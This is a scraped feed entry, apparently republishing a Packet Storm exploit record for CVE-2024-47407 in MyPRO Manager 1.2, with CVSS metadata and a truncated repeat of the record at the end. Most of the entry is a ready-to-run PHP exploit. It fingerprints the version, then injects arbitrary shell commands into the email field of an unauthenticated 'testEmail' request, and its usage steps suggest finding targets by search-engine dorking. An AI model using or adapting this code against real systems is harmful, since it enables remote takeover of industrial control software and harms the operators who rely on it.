{“lastseen”:”2026-01-30T17:46:18″,”description”:”MyPRO Manager versions 1.2 and below suffer from an unauthenticated command injection vulnerability…”,”published”:”2026-01-30T00:00:00″,”modified”:”2026-01-30T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 MyPRO Manager 1.2 Command Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:214634″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2024-47407″],”sourceData”:”=============================================================================================================================================\\n | # Title : MyPRO Manager 1.2 php code injection |\\n | # Author : indoushka |\\n | # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 136.0.0 (64 bits) |\\n | # Vendor : https:\/\/www.myscada.org\/mypro\/ |\\n =============================================================================================================================================\\n \\n POC :\\n \\n [+] Dorking \u0130n Google Or Other Search Enggine.\\n \\n [+] Code Description: MyPRO Manager versions 1.2 and below suffer from an unauthenticated command injection vulnerability.\\n \\n (Related : https:\/\/packetstorm.news\/files\/id\/189175\/ Related CVE numbers: \\tCVE-2024-47407 ) .\\n \\t\\n [+] save code as poc.php.\\n \\n [+] Set Target : line 79.\\n \\n [+] Usage : php poc.php \\n \\n [+] PayLoad :\\n \\n \\u003c?php\\n class MyPROManagerExploit {\\n private $targetUri;\\n private $rport = 34022;\\n private $ssl = false;\\n private $targetPath = ‘\/’;\\n \\n public function __construct($targetUri) {\\n $this-\\u003etargetUri = $targetUri;\\n }\\n \\n public function check() {\\n try {\\n $url = $this-\\u003etargetUri . ‘\/assets\/index-Aup6jYxO.js’;\\n $response = $this-\\u003esendRequest($url, ‘GET’);\\n \\n if (preg_match(‘\/const v=\\”([^\\”]+)\\”\/’, $response, $matches)) {\\n $version = $matches[1];\\n echo ‘Version retrieved: ‘ . $version . \\”\\\\n\\”;\\n if (version_compare($version, ‘1.2’, ‘\\u003c=’)) {\\n return \\”Appears vulnerable\\”;\\n }\\n return \\”Safe\\”;\\n }\\n } catch (Exception $e) {\\n return \\”Unknown\\”;\\n }\\n return \\”Unknown\\”;\\n }\\n \\n public function exploit($cmd) {\\n $this-\\u003eexecuteCommand($cmd);\\n }\\n \\n private function executeCommand($cmd) {\\n $this-\\u003eexecMyPROMgr($cmd);\\n echo ‘Exploit finished, check thy shell.’ . \\”\\\\n\\”;\\n }\\n \\n private function execMyPROMgr($cmd) {\\n $postData = [\\n ‘command’ =\\u003e ‘testEmail’,\\n ’email’ =\\u003e $this-\\u003egenerateRandomString(3, 12) . ‘@’ . $this-\\u003egenerateRandomString(4, 8) . ‘.com\\u0026\\u0026’ . $cmd . ‘ #’\\n ];\\n \\n $response = $this-\\u003esendRequest($this-\\u003etargetUri . ‘\/get’, ‘POST’, json_encode($postData));\\n \\n if ($response \\u0026\\u0026 $this-\\u003egetHttpResponseCode($response) == 200) {\\n echo ‘Command successfully executed, check your shell.’ . \\”\\\\n\\”;\\n } else {\\n echo ‘Unexpected or no reply received.’ . \\”\\\\n\\”;\\n }\\n }\\n \\n private function sendRequest($url, $method, $data = null) {\\n $ch = curl_init($url);\\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\\n curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);\\n if ($method === ‘POST’) {\\n curl_setopt($ch, CURLOPT_POSTFIELDS, $data);\\n curl_setopt($ch, CURLOPT_HTTPHEADER, [‘Content-Type: application\/json’]);\\n }\\n $response = curl_exec($ch);\\n curl_close($ch);\\n return $response;\\n }\\n \\n private function generateRandomString($minLength, $maxLength) {\\n $length = rand($minLength, $maxLength);\\n return substr(str_shuffle(‘0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ’), 0, $length);\\n }\\n \\n private function getHttpResponseCode($response) {\\n return substr($response, 9, 3); \/\/ Assuming response contains status code as the first 3 digits after HTTP\/1.1\\n }\\n }\\n \\n \/\/ Example usage\\n $exploit = new MyPROManagerExploit(‘http:\/\/example.com’);\\n $checkResult = $exploit-\\u003echeck();\\n echo $checkResult . \\”\\\\n\\”;\\n \\n if ($checkResult == \\”Appears vulnerable\\”) {\\n $exploit-\\u003eexploit(‘id’); \/\/ Exploit with a sample command like ‘id’\\n }\\n ?\\u003e\\n \\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/214634″,”cvss”:{“score”:10,”severity”:”CRITICAL”,”vector”:”CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:H\/SC:H\/VI:H\/SI:H\/VA:H\/SA:H”,”version”:”4.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/214634\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-01-30T17:46:18″,”description”:”MyPRO Manager versions 1.2 and below suffer from an unauthenticated command injection vulnerability…”,”published”:”2026-01-30T00:00:00″,”modified”:”2026-01-30T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 MyPRO Manager 1.2 Command Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:214634″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2024-47407″],”sourceData”:”=============================================================================================================================================\\n | # Title : MyPRO Manager 1.2…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,13,53,7,11,5],"class_list":["post-38349","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n